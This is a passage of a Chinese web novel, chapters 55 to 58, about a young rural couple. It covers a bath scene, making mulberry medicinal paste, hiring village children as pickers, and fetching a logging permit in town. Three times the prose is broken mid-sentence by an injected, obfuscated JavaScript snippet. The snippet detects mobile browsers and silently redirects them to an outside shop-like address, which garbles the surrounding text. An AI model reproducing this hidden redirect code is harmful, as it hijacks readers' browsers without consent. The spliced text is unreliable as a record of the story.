向园想起鹅蛋来,她指指水塘,喊了声“大黑”,不用细说,大黑就窜下去,把鹅蛋拱到向园跟前。 它也不上来,在水里扑腾起来。 二黄和三花见状,也跃进水里,撒着欢儿游泳。 原耕耘捡起鹅蛋,拉着向园回家,“不用管它们,在山上都吃饱了。” 可不都吃饱了吗?捉了好几只竹鼠呢,都到嘴边了,被他给夺了。 以前吃生的就吃生的,现在可得扒了皮烤熟吃,不然沾着一嘴毛,谁还不知道它们干什么了。 考虑到向园摸了好几次狗脑袋,他决定还是不提它们吃什么吃饱的。 55. 第 55 章 浴桶里添满水,原耕耘脱衣服的时候才提起,“明天上午签完契约,咱们去一趟城里,置办几把框锯,几把利斧,还得多买些麻绳。楔子跟锤子各家都有,让他们自带就成。” 这些事向园不懂,都听他的。她忙着看他的手臂和小腿有没有泛白发皱。 原耕耘失笑,手举到她眼前,“没有泡泛,护具很好用,有油布隔着根本浸不进去水,袖子也是干的。” 向园还是自己看过才放心,“不闷的话,我把护腕也包一层桐油布。” 原耕耘手没收回去,摩挲她微微发红的脸,“好,不着急,我有这套就足够用了,不是说让我给你看样子,我们一会儿就去看,先把你的裙子裁出来。” 向园点头,让他进浴桶坐下,好给他洗头发。 原耕耘不想让她围着自己转,此时此刻,他只想和她贴到一起去。 只是看着完全没有防备的向园,他也没说话,舀了两瓢水冲冲身体,长腿一抬就迈进浴桶里。 他似乎只是随手一揽,向园就被他揽个正着,稳稳当当落在他身上,水甚至都没溅出来,只是两人坐下时才漫了一地。 “耕耘哥哥,你怎么都不跟我说一声!” 向园倒也没有很害怕,只是她没脱衣服,现在湿哒哒黏在身上,有些难受。 原耕耘笑而不语,见她松散的发髻摇摇欲坠,干脆抬手,抽出珠钗。 蝴蝶飞离,黑牡丹片片坠落,秀美的头发如瀑散开,垂落在水里,原耕耘亲亲向园的发顶、眼睑,为她宽衣解带。 向园马上闭紧眼睛,原耕耘轻笑出声,戳了戳她鼓起的脸颊,“宝贝,给我解头发。” 向园睁开一只眼睛,见他手还在自己腰间盘桓,又闭上,“我不给你解了,我想着你累,才要给你洗头的,我看你一点都不累!” “我不累,我一点也不累!”原耕耘也不要她解头发了,给她调换位置,让她蹲坐在自己腿上。 水不断溢出,丢了一地的蓝衫素裙湿淋淋混成一团,不分你我,正如它们的主人一般。 浴桶边沿,却颤巍巍却挂着一片漏网之鱼,于疾风骤雨中飘摇不定。 水滑过,冲得绿沉沉的薄绫款摆,墨色竹枝隐现,竹叶轻晃,似是风吹过,摇摇欲坠。 忽的,一根纤白手指勾住绫上细绳,提拉牵引……竹枝虽未坠水,却同沉溺在温柔水乡的人一般,神魂颠倒,不辨东西。 濒临死境时,向园惊醒,“别,不要!” “嗯?”原耕耘轻笑出声,爱怜吻她面庞,“知道是怎么一回事了?” 怪不得晨起那样害怕,是怕他对她做西洋画上那种事? 向园闭目沉思,所有医书中难以理解的词汇,此刻如潮水般涌入脑海。 她以为这一生都无法跨越的性别之间的壁垒,此刻她奇迹般地理解了,可还不如不理解。 她早该明白的,从耕耘哥哥第一次那样对她开始,她就该明白的,可偏偏等到今天,等到现在,她才知晓,阴阳交感原来是这么个交感法。 可原耕耘的温柔与克制让她放下戒备,她搂住他的脖子,任他把自己摆弄成另一种模样,却也只是抱着,没有更多动作。 “耕耘哥哥,我知道为什么书生和小姐要放下帐子了。”向园把下巴支在原耕耘肩上,那里有一层结实的肉,一点不硌人。 “为什么?”原耕耘抚摸她湿滑的脊背,声音懒洋洋的。 “他们肯定也怕羞的。”向园睫毛扫过原耕耘下颌,痒痒的,他喉结滚了滚。 她丝毫没注意到,声音软绵无力,却还在喋喋不休,“可能书生不知羞,可小姐一定会羞的。” 原耕耘没有老生常谈,只是道:“即便不放帐子,也没人看得见的。” “谁说的?”向园坐直身体,“我们不就看到了。” 原耕耘扶住她的腰,“你看到了?” “不画帐子就会被人看到!”向园眨眨眼睛,又趴了上去,“所以我们将来做这件事的时候,一定要记得放下帐子。” “将来?”趁着贴近的距离,原耕耘的气息绕在向园耳边,低沉的声音把她耳朵都说红了。 她不敢抬头,拱了拱脑袋,算作认同。 这副掩耳盗铃的样子逗得原耕耘越发想笑。 “好!” 他干脆应下,没有问她说的将来是哪一天,不管多近多远,都是和他。 向园已经长大,她只是和他单独在一起的时候,才会有些天真的想法。 这是他该保护的,不是他该掠夺的。 吃过饭,趁着清晨凉快,向园牵着鹿去桑树林里吃草。 时候还早,距离约定的时间还有一个时辰,原耕耘怕这东西野性难驯,也跟着一起。 “耕耘哥哥,我们要把鹿养起来吗?” 这是一头幼年雄鹿,个头儿不算小,估计是前年出生的,头上的角跟树杈一样,茸毛细腻、角体饱满、触感柔软。小梅花鹿虽然活泼,但很温顺,叫声也特别好听,就是有点脏兮兮的。 向园牵着它,就在琢磨等过些时日可以试试割掉鹿茸,是以才有此一问。 原耕耘还没想好这个问题。 何翀要鹿,是在七月里用。现在给他牵过去,他也得想办法安置,这不大地道。所以他要么养着,要么卖了,等到六月里再打别的猎物给何翀。 养着的话,他真怕向园养出感情来,到时候何翀把鹿牵走,知道它将要迎接的命运,她会心生不忍。 “要卖掉,不过现在有点小,估计不好找买主。”原耕耘斟酌着道。 向园眼睛一亮,“那我们就养些日子,五月里正适合割鹿茸,等割了鹿茸再卖掉,肯定能卖更多钱。” 原耕耘:“……” 看来是他想多了。 “好!”他应下,“不过你不要靠太近,它们在山里跑惯了,只是一时温顺,真拗起劲来,比骡马还要凶。” 尤其这只鹿膘肥体壮,要是到了走草的时候,恐怕更加桀骜不驯。 向园点头,“放心,我力气很大!” 这个原耕耘信,她认真给他捏肩捶背的时候,脚跟用力,能一下子把他背踩痛。 “力气大也要当心,以后留大黑看他,我带二黄和三花上山去。”他把鹿拴在槐树上。 “嗯嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562029|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我肯定会当心的。”向园严肃点头,挑挑拣拣寻了一棵果实饱满红紫发黑的树,揪着枝条开始摘桑葚。 桑树林里的桑葚很多都熟了,向园要捡最好的摘下来,做文武膏和桑葚酒。 桑葚酒又叫桑心皮桑葚酒,是一种药酒,以桑心皮、桑葚和糯饭为主料,酿出来的酒,主治水肿胀满,小便不利,补肝肾不足。① 便是没有这些毛病,桑葚酒喝了也没坏处。 桑心皮即桑树的皮,又叫桑皮,桑根白皮、桑白皮、伏蛇皮,味甘性寒,归肺经。② 取用的话,十年以上的桑树最好。冬季挖开桑树根部,用刀纵向剖开,以木槌轻击,使皮与木部分离,取外表黄色粗皮晒干,就可以得到桑心皮。② 新鲜的桑皮也能入药,不同的入药方式对症不同的症状,疗效广泛。 向园现在要酿的桑葚酒肯定用不上炮制的桑心皮,她打算等冬天取一些桑根白皮炮制,等到明年再酿的时候就能酿正宗的桑心皮桑葚酒了。 文武膏是取用黑熟的桑葚,以布袋揉汁,在银器或石器中熬成膏状。②向园往年就做过。 通常来说,医馆是不收成药的,但是文武膏不同于其他,医馆如果没有大量种植桑树的话,要熬膏就得大批量收桑葚。 桑葚价格不贵,一筐五斤十斤的,十文二十文就能买到,大量收并不困难,难的是收到的桑葚都保存完好。 文武膏需要取用黑熟的桑葚,未熟透的桑葚效果不好,可黑熟的桑葚经不起颠簸,往往送到医馆表皮都破损了。 向园第一次想起卖文武膏,还是叫阿文提醒的。 那一年刚入夏,阿文摘了好多桑葚,分给她吃,她当时正好在看爹留下的医书和笔记,看到瘰疬结核这一则。 遍观这些文字记录,治疗瘰疬结核的药大概有几种。 一则用何首乌,生嚼其根,并取叶捣烂涂患处可治疗。③ 二则用铅,炒制取其黑灰,调醋涂搽。④但父亲的笔记中写过,铅并不是无毒的,甚至毒性不小。他再三强调,以铅入药,一定要慎之又慎。 三则用蓖麻子,蓖麻子亦有小毒。 四则用连翘,五则用苦参,六则用芒草,再有黄明胶、蜘蛛、樗鸡等,不是味苦,就是本身有毒,需斟酌用量的。 没有一种比桑葚更易得,也更好吃。 向园这才起意,熬了文武膏让表哥拿去医馆问。很幸运,医馆考虑一番还是收下了。可能因为她的文武膏熬制得好,医馆还问她大批量收,有多少要多少,给的价钱也不低,五十文一罐。 但凭向园一人之力,很难熬制多少药膏出来。 主要安田里那边也没多少桑树,各家田间陌上有几棵,往往也只够村子小孩子光顾的。 从桑葚开始成熟到桑葚彻底过季,只有一个月时间,她花钱跟村里小孩儿们收,他们倒也高兴,上山下河的跑,每天也能给她弄来三筐五筐筐。主要是桑葚换了钱他们可以买很多别的好吃的,比单吃桑葚可幸福多了。 一个月下来,向园熬了百来罐。不过这对她来说,也算是很挣钱的一门生意了,现在守着桑树林,当然不能放弃。 56. 第 56 章 向园用篮,原耕耘用筐,底部和四周都垫的有芭蕉叶。 他们一棵树一棵树摘过去,只摘熟透的果实,第三棵树才摘到一半,篮子筐子就满了。 时间也差不多了,两人往回走。 向园还奇怪,“这么大一片桑树林,村里小孩儿都不来摘吗?” 原耕耘看看抢着吃桑葚的几只傻狗,解释道:“往年会来的,今年可能是不好意思,也可能是不敢来。” 不好意思,自然是主人家回来了,怕过来摘被主人家撞见。不敢来,自然是主人家寻了个养狗的夫婿,怕来了被狗撵? 前者的可能性更大,因为他养狗已经有三四年了,但前面几年,小孩儿们该来还是会来,并不会顾忌一二三。 村里人对向园确实多了几分包容和善意,这是别人没有的。或许大人们交代过孩子,不许来向家捣乱,不然不该所有人都这么乖才是。 他们才这样说,等向园烧上茶水,准备待客的时候,原耕耘站在门口暗自嘀咕,真是念叨什么来什么,刚说没小孩子来,这不就来了。 迎面而来的一行人,打头的是周里正和村里几位阿公阿伯,后头是周家几人和黄家几人。再后头还跟着不少看热闹的,大都是女人和孩子。 向园走到篱笆门口,就看见周婶子和杨可真,还有陆太叔公家的阿公阿婆,她笑着跟原耕耘一起迎上去,请人进屋里坐。 此时就显出凉亭的好处来了,屋里坐不下,向园直接把人让到这儿来。 地方够大,沿着围栏还有长凳可以坐。 这么多人,家里的碗都不够倒茶的,向园去装了两笸箩桑葚出来给大家吃。 桑葚刚摘回来的时候,原耕耘就倒进陶盆里,打了井水浸上。向园撒了一把盐进去,这样能把脏东西泡出来,泡几个时辰,下晌正好可以熬文武膏。 这会儿淘洗几把,直接装笸箩里,倒也方便。 实际上就是她不淘,拿下来直接给人吃,也没人嫌弃。 山间地头,谁瞧见果子不是从树上摘一把就往嘴里塞的,哪有那么多讲究。不过这洗过的就是不一样,看着就水灵。 向大夫怎么说曾经也是村子里最受敬重的人,在人小闺女家里,大家都不好意思过于粗鲁,就是来看热闹的男子,让到跟前也只是一人抓了一小把慢慢吃。 嗯,还别说,大夫家种的桑葚就是不一样,甜丝丝,清凉凉的,好吃。 原耕耘在屋里,屋外的男子他托了周满仓帮忙招待,向园也就不操心了,只在凉亭里跟她们说话。 十个人里,八个大平常的,一个半老实的,总有半个心眼多的。 这不就有人说话:“向丫头,你家这桑葚真好,那片林子得有七八亩地吧。” 是村头钱姓人家的媳妇儿,向园要称呼钱嫂子的一个妇人。 向园腼腆地笑笑,“没有,也就顺着房根儿种了几溜儿,我不识尺寸,不过那片地,有五亩就不错了,哪来的七八亩。” “就是五亩,摘不及恐怕也要落地里了。”钱嫂子哈哈一笑。 她牵了话头,自然就有人跟着问:“向丫头,我嫁来得晚,听说向大夫在世的时候,这林子都是放开了给大家摘的,只要别伤了枝叶就好,有没有这回事啊?” 这个看着脸生,向园不认得,但她和钱嫂子坐在一块,关系很要好的样子。再看看两人牵着的小孩,钱嫂子牵着的,约摸八九岁的模样。这人牵着的,约摸五六岁。 向园笑道:“我爹娘在世时,宅心仁厚,博施济众,遇上有难的病人,能舍的药都舍了,从不计较。不过我倒没听说桑林也放开了由人摘的,毕竟这是入药的东西,都给人摘了,就没法制药了,我爹再想给人舍药也没得舍了。” 她说着就看向钱嫂子问:“钱嫂子,你嫁过来得早,应当有印象的吧!你说是不是?” 钱嫂子呵呵笑着掩饰尴尬,“可不是嘛!都是入药的东西,哪能由着人摘!” 杨可真点点向园的肩膀,冲她挤眼睛,两人会心一笑。 问话的那孙娘子讨了个没趣儿,见众人看她的眼神都带着鄙夷,愈发不自在起来。 向园没再抓着话头不放,抓了一把桑葚给亭子里的几个乖小孩儿分,笑着道:“不过嫂子说得也是,这桑葚果期就这么短,摘不及恐怕就糟蹋了,我最近也愁这个事儿呢。” 杨可真顺势问道:“怎么回事儿?你仔细说说,这儿坐的都是阿婆、伯母、婶子、嫂子,她们都经了半辈子事儿,随便点播一句两句,就够咱们受用的了。” 向园叹口气,发愁道:“这不我忙着用桑葚制药膏呢,本来打算着,九哥摘我来熬,可他突然来了这么个活计,就腾不开手了,我正怕这桑葚来不及摘,都落地里了呢。” 这话赶话怎么又绕回去了? 顿时,有几个人看向园的眼神都不对了,怀疑这丫头是不是傻,上赶着给人牵话头。 “哎呦,”一个穿翠色绣花裙的女子笑出声,“你这丫头,这点事儿也值得你为难成这样!” 这便是杨可真曾说过的,陆太叔公家的小孙媳妇儿——唐棣华,三十来岁的年纪,向园要称呼她婶子。 向园一脸天真地求教,“婶子,我可知道,您是最有主意的人,可得好好教教我。我愁得昨儿晚上饭都没吃好。” 实际上是竹荪蛋炖鸡过于鲜美,她多喝了两碗汤,饭就吃不下去了,最后原耕耘扒拉到自己碗里替她解决掉。 唐棣华在村里是出了名的利落干练,又好出风头,见向园话里话外抬举她,自是乐意显摆显摆。 她指指带着小孩儿们满院乱窜却又规规矩矩不乱动的毛小子道:“喏,我家的,你小兄弟,喊他阿七就好,白给你使唤。上月里他就盼着来给你摘桑葚呢,这下可好,你有帮手,他也不用望着树吞口水了。” “果真婶子有主意,可是给我解决了个大难题,我真是心服口服。”向园双手合十,当真拜了几拜,直把唐棣华乐得直不起腰。 向园又挽着她的胳膊,脆生道:“婶子放心,我不叫他白出力,桑葚保管让他吃够,每摘一筐,再给他开两文的工钱。” 还有这好事儿? 唐棣华有几分惊讶,不过这是你情我愿说定的事,她大大方方应下。倒是旁边的陆阿婆颇有几分不赞同地扯了扯小儿媳妇儿的袖子。 小儿子,大孙子,老人家的命根子。小儿子柏岁性子弱些,为着将来的日子,就给他娶了个强势的媳妇儿。唐氏哪里都好,唯独过于势利这一点,她不大满意。 不过她满不满意都罢,只要儿子跟儿媳妇儿过得来,那就是好媳妇儿。 可现在,大孙子的大儿子、她的大重孙陆盛也要跟着原耕耘去伐木呢,现在正在里头立契呢。她们在外头还要赚人这个钱,多不好! 她想着,又看向几年前就想说给大重孙,最后因差了辈分不了了之的向园。 向园谢过唐棣华,正在谢给她搭话的杨可真,“还要谢谢姐姐给我出主意。姐姐说得对,阿婆伯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16567699|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母,婶子嫂子们过的桥比我走的路还多,遇上为难的事,问她们保准没错。” 几年前经历大变,话都没几句的小娘子如今已经长大成人,桃花面色,玲珑身段,言谈间神情娇憨,眉眼灵动,看着就叫人心生喜爱。 陆阿婆不禁犹疑,几年前没有坚持留下她,到底是好事还是坏事。 杨可真捏捏向园的脸蛋,“谁让你喊我一声姐姐呢,少不得要拿你当亲妹妹看待。” 向园憨憨一笑,“那就劳姐姐也给我找两个人吧,给阿七作伴。还有婶子,阿七玩得好的小伙伴,有愿意来的,只要年纪八.九岁的,身体康健的,我也照样开工钱。三五个人,应该就忙得开了。” 听闻这话,妇人们都乱了套了。 “我家小子皮实,最会摘果子。” “我家小子憨厚,干活实在!” “我们阿郎力气大,能抵一个大人。” “园丫头,看看我家这个!” “还有我家的,我家的也机灵!” 有带着孩子的,当即就拉来让向园相看。 没带孩子的,就只能惋惜,恨不得飞回去把孩子背来抱来。 半大小子,正是上蹿下跳没个定性的时候,让他们干农活都耐不住性子,见天山里河里的跑,还让人操心。若是能来摘桑葚,他们乐意干,还有工钱可拿,何乐而不为呢。 有些人自己都想来试试了。 小孩子贪玩,一天才能摘几筐。大人可就不一样了,耐下性子,十筐不成问题,起早贪黑,十五筐也不在话下。那一天可就能挣二三十文钱,去哪找这样的好事,不让他们吃桑葚他们都乐意呢。 奈何向园拒绝了。 她以前跟阿文他们玩得挺好,知道小孩子比大人可贵之处,自然更乐意跟孩子们打交道。 大人尽管大多也勤勉,只是利心重,有时候马马虎虎就凑活了,干活的时候真不如小孩子尽心,也不如小孩子肯按要求来。 不过她也没卡着三五个人就不收了,只要大人带着孩子来问了,她看着孩子身体康健,眼神清明的都留下了。 屋里商量好事情,原耕耘送人出来的时候,就见七八个小孩子围着向园打转。 “向丫头倒像个孩子王了。”陆阿公笑道。 受他爹陆太叔公的影响,他看向园总有一层滤镜,跟看自家孙女似的。虽然他没这么小的孙女儿,就是大重孙,也比向园大了几岁。 陆盛垂着眼,一眼也不敢往那边瞟。 太爷爷愿意把向园当孙女看也好,当重孙女看也好,他如今却只能把人当姑姑看。敢喊错一个字,敢多瞧一眼,原九眼刀就飞来了。 原耕耘自然听说过陆家当年的事,所以除了头一次过去拜访是带向园一起的,其他时候他都是自己过去。 他瞟陆盛一眼,带着一脸骄傲笑意,“我娘子天性赤忱,心思纯善,向来能跟孩子们玩到一起去。不论是当姑姑还是当姐姐,都有模有样,自然受孩子们喜欢。” 陆阿公:“……” 我就是夸夸,倒也不必这么大反应。 陆盛低头翻了个白眼,心里暗暗撇嘴,谁还不是青梅竹马了?你得意个什么劲儿,要不是差着辈分,轮不轮得到你还两说呢。 “可不是!”周里正笑笑,转头交代原耕耘,“你去伐木,得有段日子不能在家,有什么事,只管让向丫头去村里寻人,家里你阿婆、婶子、嫂子她们都在的,别让她不好意思,没事也常去串串门、说说话。” 57. 第 57 章 事情说好,约定明天再开始摘桑葚,大家伙都高高兴兴回家去。 向园也没让小孩子们失望而归,先带着人去桑林里转了一圈,一人摘了一口袋解馋。 “耕耘哥哥,还顺利吗?”人都走了,向园问原耕耘。 “顺利的,起初黄穗平和黄穗安那里有点问题,不过是他们自己家的事,自有周里正和黄阿公出面解决。最后除了他们四个,还有田武、陆盛、周铁脊、李巨山四个,契约已经定下,只等拿到批文,就可以开始。” 原耕耘摸摸向园红扑扑的脸蛋,问她,“跟他们玩得很开心?” “我才没有在玩。我跟你说,我才说了几句话,就把那人唬得再也不敢开口,还是杨姐姐和陆婶子提了话茬……” 向园眼睛亮晶晶的,叽里咕噜把事情说了一遍。 “这样说,以后你就有一群小帮手了?” “对啊!”向园一拍手,“我都想好了,这段时间就摘桑葚熬文武膏,桑葚摘完了再请他们帮忙摘桑叶。摘过一批,等霜后再摘一批,留下的冬季不落的又是一批。还有桑皮、桑枝和桑柴灰,适时取用,这样这桑林就派上用场了。” 虽说桑叶估计不挣钱,但乡下患各种眼病,痈疮的人恐怕不少,桑叶廉价,容易获取,也方便配伍,无疑是一味好药。哪怕医馆不收,她也要留一些,以备不时之需。 两人说了会儿闲话,就忙活起来。 文武膏需要用桑葚汁熬制,这么多桑葚要捣成汁可不容易。 向园不是头一回做这个,她已经很有经验了,又有原耕耘帮忙,没一会儿工夫,一个简易的榨汁装置就摆弄好了。 框架是一只大缸,两条长凳,一个比大缸尺径稍大些的笸箩。长凳摆在大缸两侧,笸箩架在长凳上,里头铺上一层纱布。 向园拿了根粗木棍,捣桑葚汁的间隙,原耕耘去溪边挑了两块大青石回来。 以前向园用的磨盘,但家里没有这个。隔壁的磨盘是用来磨药粉的,偏小,分量不够。 原耕耘挑的两块大青石很不错,一块扁平,一块够沉,等会儿摞起来,就足够用了。 他把石头洗刷干净晾上,向园那边,桑葚也捣得差不多了。 她拎着桶倒在纱布上过滤,黑紫色的汁液顺着就流进大缸里。 向园蹲下看看,没有什么问题,她又开始捣下一桶。 原耕耘看了一会儿就明白大致流程,接过手忙活。 差不多也要晌午了,向园就去做昼食。 原耕耘很快忙完,他出去把梅花鹿牵回来,顺带割了一筐草,灌了一槽水给它做预备口粮。 他们吃过饭就要进城,鸭鹅有一二三照管,不用担心,唯一需要好好安置的就是这头鹿了,得找个结实的桩子,绑得紧一点。 原耕耘看着梨树桩,犹豫片刻,以这鹿的力气,再把根掀出来也说不定,而且旁边就是木槿花篱,以它贪吃的样子看,木槿花估计也能当口粮。 拴草堂前头的话,原耕耘又怕它胡拉乱尿。 灶棚下,向园探出个脑袋提议,“耕耘哥哥,把它拴隔壁去吧,就拴橄榄树底下,那树长得高,它够不着吃。”橄榄树四不靠,不怕它糟蹋东西,而且那边院墙高,比这边的篱笆院门户严谨些。 原耕耘想想也是,应了一声,转身往隔壁走。 向园追了一句,“你再挖几捆山药,我们去看你朋友,得给他带点礼才好。还有娘那里,给她也带两捆。” 可惜不知道表哥现在是在槐树井还是在县里,不然也能去瞧瞧他的。先前只听他说要继续做生意,如今也不知道怎么样了。 原耕耘没有不应的,虽然他不觉得何翀会爱吃山药。 向园以为他们要先去白石滩,再去城里。没想到原耕耘直接就去借了辆骡车,先往城里去。 “先去找何翀问信儿,要是批文下来,这两天就要开工,我们把娘接来陪你。”看向园还迷糊着,原耕耘跟她解释。 “好啊!”向园挺高兴,这样耕耘哥哥不在家,她也有人作伴了。 想她刚回来那会儿,还盼着樊姨能留下来呢,那她就不用单独面对耕耘哥哥了。可现在,她都和耕耘哥哥过成两口子了,时间真快啊! “就是不知道谷叔会不会不高兴。”虽说已经改了口,但私下里,向园还是会叫谷叔。 “可能会有点郁闷,不过不要紧,他的货要卖得快,这时候也该出门进货了。那时候,就是咱们不去接,他也得把娘送来的。” 谷敬什么时候进货,什么时间卖货,基本是很规律的,少有变动。唯一的一次还是上个月,他没有往渠州去,提前回来,一是记挂着樊云英,二来,他其实已经置办够货物了,便是不去渠州,手里的货也足够他赚一笔的。 向园放心了。 何翀家在城东偏北的梯云巷,就跟县衙隔了一条街,离东城门也不远。 他们不从衙门口过。原耕耘牵着骡车七拐八绕,到了一栋青砖灰瓦的小宅前头。 这一排都是这样的小院,也不知道原耕耘怎么认出来的,向园好奇的时候,他已经拴好骡子上前去敲门了。 向园后退几步再看,还是没看出区别来。 原耕耘敲了一会儿都没人回应,她不由怀疑,“耕耘哥哥,是不是何三哥不在家?”还是咱们敲错门了? 原耕耘仿佛知道她在想什么,“他家是东数第六家,别家院里都有竹子冒头,他家没有。” 向园抬头一看,还真是。 “看着像是一家人盖的。” 她都没说像是一班工匠盖的,因为不同的人家要求也不同,就是同一班工匠,也得按主家要求来。这排房子过于整齐了,跟一家十几个兄弟似的。 原耕耘笑笑,“都是何翀他爹盖的,他爹以前是个财主。”说着,又补充了一句,“很爱种竹子。” 所以得知何翀把院里的竹子都砍掉的时候,气得拎起棍子就是一顿打,差点没把何翀打残。 “哇!”向园小小地惊叹了一下,又嘀咕道:“一点也看不出来。” 何翀看着有几分油滑,虽然人很仗义,但总是一副吊儿郎当的样子,路也不好好走,话也不好好说,还特别爱捂着肚子笑话人,跟富家公子一点也不沾边。 向园觉得他跟之前不学无术的梅表哥很像,都是表面上看着特别不靠谱但实际上不是完全不靠谱,但也只有一丁点靠谱的人。 不过这一丁点靠谱,对于他们聪明的脑子来说,也足够用了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582185|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 外婆说过,很聪明的人都这样。像耕耘哥哥这种,就是有智慧的人。像她这种,就是大智若愚的。 原耕耘没有再说话,改敲门为拍门,还喊了两声。 桐油随墙门依旧没开,向园正想是不是人上值去了,不在家,隔壁就探出一道人影。 “你们找何翀?”那女子面色清冷,声音也清冷,背直挺挺的,如一杆翠竹,风雨也难摧折腰身。 向园眼中惊艳还未散去,就不由自主扬起嘴角,露出一个笑来,“对呀,姐姐,你知道他去哪了吗?” 原耕耘大概不知道花痴这个词,但他看此刻的向园,好似一朵跟着太阳转的向日葵,花盘中的瓜子恰好呈微笑状,黑黝黝的眼珠子几乎要黏在人家身上,这很难说不是喜欢了。 “向园!”他捏捏她的手指提醒。 “嗯?”灿烂的向日葵总算把视线转向她的大太阳。 原耕耘松口气,“可以盯着我看,但不要盯着人看。” “哦哦!”向园如梦初醒般点头,她刚刚确实是被迷到了,盯着人看很不礼貌,但盯着自家相公看就没问题了。 她怕再被迷到,眼睛就不敢往走来的女子身上瞧,只能瞧着旁边的原耕耘转移注意。 可当人走到近前时,她还是没忍住把目光又移过去。 若说女子如何妍丽,也不见得,可就是那淡漠的表情,清冷的身姿把向园迷得不要不要的,她可太喜欢了,又喜欢又羡慕。 要知道,当初被大舅大舅母欺负的时候,她就想她要挺直腰杆,要孤高不屈,要像话本子里的女主角一样清冷决绝,闷着头就把大事都干了,让他们后悔今日所作所为。 可是她实在拿不起身段,心里想得很好,一到关键时刻就结巴,就犯怂,就掉泪。 现在,她终于看见了理想中的话本主角的形象,要是她那时也能这样就好了,他们哪怕欺负她,肯定也不敢小瞧她。 她逃跑的行为实在不够霸气,还要耕耘哥哥替她扫尾巴。 原耕耘察觉到她依赖的目光,微微一笑,“向园,你很好,很厉害!” 过刚易折,她想逃能逃敢逃,这就是世间多少女子不能做到的事了。他都不敢想,要是向园那时候想不开,真把自己的命舍在梅家,他会如何。 他或许会杀了梅大用两口和原丰收为她偿命。 楼采春走到近前,“你们是绿蒲村来的?” 向园点头,“是的是的,我相公找何三哥有事。” 楼采春这才瞟了含笑看着向园的原耕耘一眼,她问向园:“你相公是原九?你是向小娘子?” 向园连连点头,又担忧了一下何翀的大嘴巴,不然怎么左邻右舍都知道她和耕耘哥哥呢。 楼采春:“你们找他有事?” 向园瞧向原耕耘,这事儿既然很紧要,不能随随便便就说出来吧。 原耕耘安抚地冲她笑笑,对楼采春道:“有劳楼娘子,我们找何三哥拿批文,初四那日他去过绿蒲村,我们说好的。” 楼采春好似并不意外,点点头道:“稍等。”说着回院子去了。 向园瞅瞅两个院子,再瞅瞅原耕耘,目露疑惑。 原耕耘捏捏她的指头,“去送礼吧!” 58. 第 58 章 向园想想既然何翀把这样要紧的东西都交给楼娘子转交,那肯定没把她当外人,那她送礼也可以让楼娘子转交的嘛。 她收拾好骡车上的东西,两捆山药交给原耕耘拎着,她抱着一袋干笋子,一袋干菌子,去楼家门口等。 楼采春很快出来,看见他们拿的东西,有几分错愕。 “姐姐,请你帮忙转交给何三哥。”向园拎过一捆山药和一袋干笋子递过去。 楼采春不接,向园直接放进门槛内。 “姐姐,这个送你,谢谢你等我们。”她把另一捆山药和干菌子也放进去。 楼采春愣了半晌,“不,不用。这,这是……” 她手忙脚乱的,一时不知道是该先把东西还回去,还是先把批文递过去。 向园摆摆手,“姐姐不要客气,我相公和何三哥说好的。” 楼采春更迷惑了。 这还能说好?怎么说好?一手交东西,一手交批文? 倒真像何翀的作风! 可她还是不好意思,递了批文就忙回身拎着袋子往外递,“他每月逢五逢十必定在家,你们再来直接给他吧。” 向园把批文交给原耕耘,就来阻止楼采春的动作,“姐姐,你不要担心,我们下回来还给何三哥带。今天有劳你,我们要走啦,你也赶紧回去吧。” 她说着,握着楼采春的胳膊帮她转了个身,把她塞进门槛里,赶紧跑到原耕耘身边,坐上骡车,还不忘回头挥挥手。 楼采春:“……” 坐上骡车,向园还在嘀咕,“如果何翀知道我们把给他的礼分了一半给他邻居,也不知道会不会憋气。” 他可不会憋气,说不定还要感谢他们呢。 原耕耘这样想着,又想起前两天去村里送鱼,还是附和向园道:“以后咱们再往哪去,都多带点东西,以备不时之需。” 向园点头,“楼娘子真好看。耕耘哥哥,何翀是不是喜欢她?” 原耕耘挺诧异,“你怎么知道?” 他想是刚刚楼采春哪句话露出来了,竟然能让向园都察觉。 向园倒没想那么多,“她这么好看,气质又这么好,简直像是书上走出来的奇女子,怎么会有人不喜欢她呢。” “而且,”向园挪挪屁股,坐到近处,用胳膊肘顶顶原耕耘的腰,神秘兮兮道:“楼娘子这样清冷的人,一般都不爱说话,也不好说话的。何翀要是不喜欢她,怎么会费事请她帮忙呢。” 向园还觉得楼娘子可能也不排斥何翀,不然她大可以将人拒之门外,更别说替他转交东西了。 原耕耘没想到她还挺会分析,“向园,你好像很懂的样子,那你一定知道什么是喜欢吧。” 向园当然知道,“喜欢就是我们这样,我离不开你,你也离不开我。” 原耕耘没否定也没认同,“这样说也不错,那你是喜欢我还是喜欢楼娘子?” 